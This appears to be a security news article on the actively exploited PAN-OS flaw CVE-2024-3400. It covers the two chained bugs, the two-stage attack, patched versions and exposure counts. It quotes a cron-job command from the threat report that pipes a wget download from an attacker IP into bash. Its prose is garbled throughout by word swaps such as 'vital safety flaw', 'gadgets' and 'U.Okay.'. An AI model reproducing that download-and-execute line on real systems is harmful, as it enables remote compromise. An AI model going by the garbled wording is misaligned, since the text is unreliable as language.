Palo Alto Networks has shared extra particulars of a vital safety flaw impacting PAN-OS that has come beneath lively exploitation within the wild by malicious actors.
The firm described the vulnerability, tracked as CVE-2024-3400 (CVSS rating: 10.0), as “intricate” and a mix of two bugs in variations PAN-OS 10.2, PAN-OS 11.0, and PAN-OS 11.1 of the software program.
“In the primary one, the GlobalProtect service didn’t sufficiently validate the session ID format earlier than storing them. This enabled the attacker to retailer an empty file with the attacker’s chosen filename,” Chandan B. N., senior director of product safety at Palo Alto Networks, stated.
“The second bug (trusting that the information had been system-generated) used the filenames as a part of a command.”
It’s value noting that whereas neither of the problems are vital sufficient on their very own, when chained collectively, they might result in unauthenticated distant shell command execution.
Palo Alto Networks stated that the risk actor behind the zero-day exploitation of the flaw, UTA0218, carried out a two-stage assault to attain command execution on vulnerable gadgets. The exercise is being tracked beneath the title Operation MidnightEclipse.
As beforehand disclosed by each Volexity and the community safety firm’s personal Unit 42 risk intelligence division, this entails sending specifically crafted requests containing the command to be executed, which is then run through a backdoor known as UPSTYLE.
“The preliminary persistence mechanism setup by UTA0218 concerned configuring a cron job that might use wget to retrieve a payload from an attacker-controlled URL with its output being written to stdout and piped to bash for execution,” Volexity famous final week.
“The attacker used this technique to deploy and execute particular instructions and obtain reverse proxy tooling similar to GOST (GO Simple Tunnel).”
Unit 42 stated it has been unable to find out the instructions executed through this mechanism – wget -qO- hxxp://172.233.228[.]93/coverage | bash – however assessed that the cron job-based implant is probably going used to hold out post-exploitation actions.
“In stage 1, the attacker sends a rigorously crafted shell command as an alternative of a sound session ID to GlobalProtect,” Chandan defined. “This ends in creating an empty file on the system with an embedded command as its filename, as chosen by the attacker.”
“In stage 2, an unsuspecting scheduled system job that runs usually makes use of the attacker-provided filename in a command. This ends in the execution of the attacker-supplied command with elevated privileges.”
While Palo Alto Networks initially famous that profitable exploitation of CVE-2024-3400 required the firewall configurations for GlobalProtect gateway or GlobalProtect portal (or each) and system telemetry to be enabled, the corporate has since confirmed that system telemetry has no bearing on the issue.
This relies on new findings from Bishop Fox, which found bypasses to weaponize the flaw such that it didn’t require telemetry to be enabled on a tool so as to infiltrate it.
The firm has additionally expanded patches for the flaw past the first variations over the previous few days to cowl different generally deployed upkeep releases –
- PAN-OS 10.2.9-h1
- PAN-OS 10.2.8-h3
- PAN-OS 10.2.7-h8
- PAN-OS 10.2.6-h3
- PAN-OS 10.2.5-h6
- PAN-OS 10.2.4-h16
- PAN-OS 10.2.3-h13
- PAN-OS 10.2.2-h5
- PAN-OS 10.2.1-h2
- PAN-OS 10.2.0-h3
- PAN-OS 11.0.4-h1
- PAN-OS 11.0.4-h2
- PAN-OS 11.0.3-h10
- PAN-OS 11.0.2-h4
- PAN-OS 11.0.1-h4
- PAN-OS 11.0.0-h3
- PAN-OS 11.1.2-h3
- PAN-OS 11.1.1-h1
- PAN-OS 11.1.0-h3
In gentle of the lively abuse of CVE-2024-3400 and the supply of a proof-of-concept (PoC) exploit code, customers are really helpful to take steps to use the hotfixes as quickly as potential to safeguard towards potential threats.
The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has additionally added the shortcoming to its Known Exploited Vulnerabilities (KEV) catalog, ordering federal businesses to safe their gadgets by April 19, 2024.
According to data shared by the Shadowserver Foundation, roughly 22,542 internet-exposed firewall gadgets are doubtless susceptible to the CVE-2024-3400. A majority of the gadgets are within the U.S., Japan, India, Germany, the U.Okay., Canada, Australia, France, and China as of April 18, 2024.